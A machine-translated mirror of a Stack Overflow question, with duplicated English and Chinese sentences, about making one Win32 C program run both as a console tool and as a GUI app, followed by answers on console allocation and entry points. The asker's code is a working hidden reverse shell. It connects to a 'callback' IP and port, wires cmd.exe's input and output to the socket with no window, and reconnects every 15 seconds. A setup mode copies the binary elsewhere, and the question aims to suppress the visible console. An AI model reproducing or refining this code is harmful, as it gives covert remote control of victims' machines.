简体   繁体   English

Win32 GUI应用程序编译为GUI需要在C中使用控制台

[英]Win32 GUI application compiled as GUI need to use a console in C

I have a program that I am creating that has two sides of it. 我有一个正在创建的程序,其中包含两个方面。 The main execution (script.exe -setup) will open a console and ask the user multiple questions and then set the answers to variables and make adjustments to the machine based on the answers. 主要执行(script.exe -setup)将打开一个控制台,并向用户询问多个问题,然后设置变量的答案并根据答案对计算机进行调整。 This is a simple console application and it works fine if compiled as a Console application. 这是一个简单的控制台应用程序,如果编译为控制台应用程序,则可以正常工作。

The second part of the script (script.exe -socket 192.168.1.1:9000) will start a WinMain function that then calls a socket function. 脚本的第二部分(script.exe -socket 192.168.1.1:9000)将启动WinMain函数,然后调用套接字函数。 The reason I put the socket function inside the WinMain is so it does not display the 'cmd.exe' that CreateProcess calls. 我将套接字函数放在WinMain中的原因是,它不显示CreateProcess调用的“ cmd.exe”。 It was flashing the command prompt so I got rid of it by using the WinMain. 它正在闪烁命令提示符,所以我通过使用WinMain摆脱了它。 This only works as intended if compiled as a Win32 application, but then I am unable to run the setup side of the script. 如果编译为Win32应用程序,则只能按预期工作,但是我无法运行脚本的安装程序端。

I understand that when compiled as a console application it starts with the (int main()) function which is why it works. 我知道当编译为控制台应用程序时,它以(int main())函数开头,这就是它起作用的原因。 And when compiled as a Win32 it starts with the (WinMain()) function. 并且当编译为Win32时,它以(WinMain())函数开头。 However, I just need the application to start at Main as a Win32 Application. 但是,我只需要该应用程序作为Win32应用程序从Main开始即可。

int main(int argc, char *argv[]) {
    char filePath[150];
    char fileName[30];
    int portNum;
    char ip[16];
    char socket[23];

    if (argc == 1) {
        printf("Usage: File.exe setup OR File.exe -s IP:PORT");
        exit(0);
    } else if (strcmp(argv[1], "setup") == 0) {
        printf("Doing Setup Stuff\n");
    } else if (strcmp(argv[1], "-socket") == 0){
        strncpy(socket, argv[2], 22);
        WinMain(0,0,socket,0);
        return 0;
    } else {
        printf("Usage: File.exe setup OR File.exe -socket IP:PORT");
        exit(0);
    }

    printf("Desired File Location. Example: C:\\Test\n");
    scanf("%149s", filePath);
    CheckDirectory(filePath);

    printf("\nDesired file name. Example: test.exe\n");
    scanf("%29s", fileName);
    getchar();
    CopyNewFile(filePath, fileName, argv[0]);

    printf("\nEnter callback IP:\n");
    scanf("%15s", ip);

    printf("\nEnter callback port:\n");
    scanf("%5d", &portNum);


    printf("Enter time in seconds for each callback: ");
    scanf("%10d", &secs);

    return 0;
}

int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev, LPSTR cmdline, int show) {
    char test[50];
    strncpy(test, cmdline, 49);
    char *ip = strtok(test, ":");
    char *port = strtok(NULL, ":");
    RunSocket(ip, port);
    return 0;
}

void CopyNewFile(char *dir, char *fname, char *curName) {
char fullDir[300];
char file[60];
sprintf(file,"%s", curName);
sprintf(fullDir, "%s\\%s", dir, fname);
if (CopyFile(file, fullDir, FALSE)) {
    printf("\nCopied new file!\n");
} else {
    printf("Did not copy!");
    }
}


void CheckDirectory(char *d) {
DIR* dir = opendir(d);
char answer[2];

if (dir) {
    printf("Directory Exists!\n");
    closedir(dir);
} else if (ENOENT == errno) {
    printf("Directory does not exist. Do you want to create this directory? Y/N: ");
    scanf("%s", answer);
    if (strcmp(answer, "y") == 0) {
        if (CreateDirectory(d, NULL)) {
            printf("Created Directory!\n");
        } else {
            printf("Error Creating Directory!");
            exit(1);
        }
    } else {
        printf("Closing Script!");
        exit(1);
    }
}
}

void RunSocket(char *a, char *b) {

    while(1) {

        WSADATA wsaData;
        SOCKET Winsock;
        struct sockaddr_in hax;
        char ip_addr[16];
        STARTUPINFO ini_processo;
        PROCESS_INFORMATION processo_info;

        WSAStartup(MAKEWORD(2,2), &wsaData);
        Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);

        struct hostent *host;
        host = gethostbyname(a);
        strcpy(ip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));

        hax.sin_family = AF_INET;
        hax.sin_port = htons(atoi(b));
        hax.sin_addr.s_addr =inet_addr(ip_addr);

        WSAConnect(Winsock,(SOCKADDR*)&hax, sizeof(hax),NULL,NULL,NULL,NULL);

        memset(&ini_processo, 0, sizeof(ini_processo));
        ini_processo.cb=sizeof(ini_processo);
        ini_processo.dwFlags=STARTF_USESTDHANDLES;
        ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
        CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &ini_processo, &processo_info);
        Sleep(15000);
        }
}

It is either a Windows application and then WinMain is the user startup point, or is a console application and then main is the user startup point. 它是Windows应用程序,然后WinMain是用户启动点,或者是控制台应用程序,然后main是用户启动点。 You can of course call main from WinMain , or you can allocate a console for the functionality you normally perform from main . 您当然可以从WinMain调用main ,也可以为通常从main执行的功能分配一个控制台。

The following allocates a console and sets up the standard file handles: 以下内容分配一个控制台并设置标准文件句柄:

#ifndef _WIN32_WINNT
# define _WIN32_WINNT   0x0501
#endif
#include <windows.h>
#include <wincon.h>
#include <stdio.h>

int GetConsole(void)
{
    if (!AttachConsole(ATTACH_PARENT_PROCESS))
        if (!AllocConsole())
            return(0);

    _fileno(stdout)= _fileno(fopen("CON", "w"));
    _fileno(stdin) = _fileno(fopen("CON", "r"));
    _fileno(stderr)= _fileno(fopen("CON", "w"));
    return(1);
}

There are only two differences between a CUI and a GUI PE application: CUI和GUI PE应用程序之间只有两个区别:

  • CreateProcess will create a new console window for a CUI application if the parent process does not already have one. 如果父进程还没有一个CUI应用程序,则CreateProcess将为其创建一个新的控制台窗口。 This can be suppressed with the DETACHED_PROCESS flag. 这可以通过DETACHED_PROCESS标志来抑制。

  • Cmd.exe will wait for CUI applications, it will not wait for GUI applications unless you use start /wait . Cmd.exe将等待CUI应用程序,除非您使用start /wait ,否则它将不等待GUI应用程序。

main vs WinMain is controlled by your development environment, Windows (at the ABI level) just calls the (real) entry point function without any parameters. main vs WinMain由您的开发环境控制,Windows(在ABI级别)仅调用(真实)入口点函数而无需任何参数。 Your compiler provides the glue between this simple function and main / WinMain . 您的编译器提供了此简单功能和main / WinMain之间的粘合。

You can implement your own main from WinMain with CommandLineToArgvW and WinMain from main with FreeConsole + GetModuleHandle + GetCommandLine + GetStartupInfo . 你可以实现自己的mainWinMainCommandLineToArgvWWinMainmainFreeConsole + GetModuleHandle + GetCommandLine + GetStartupInfo

  • If a briefly flashing console window killed by FreeConsole is unacceptable then you must create a GUI application. 如果由FreeConsole杀死的短暂闪烁的控制台窗口是不可接受的,则必须创建一个GUI应用程序。
  • If you want the application to act as a normal console application with stdin/stdout when started from cmd.exe then you must create a CUI application. 如果希望从cmd.exe启动时使用stdin / stdout将该应用程序用作普通控制台应用程序,则必须创建CUI应用程序。

You can try to hack your way to both with a GUI application that calls AttachConsole + AllocConsole but the result is not perfect because cmd.exe does not wait before printing its next prompt and updating %errorlevel% . 您可以尝试使用调用AttachConsole + AllocConsole的GUI应用程序破解两者,但是结果并不完美,因为cmd.exe不会等待打印下一个提示符并更新%errorlevel%

To get the best of both worlds the best solution is actually to create two applications, "yourapp.com" and "yourapp.exe". 为了获得两全其美,最好的解决方案实际上是创建两个应用程序“ yourapp.com”和“ yourapp.exe”。 The frontend application would just be a .exe renamed to .com and the server would be a .exe. 前端应用程序将只是一个重命名为.com的.exe,而服务器将是一个.exe。 This works because %PATHEXT% has .com before .exe. 之所以%PATHEXT%是因为%PATHEXT%在.exe之前有.com。

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM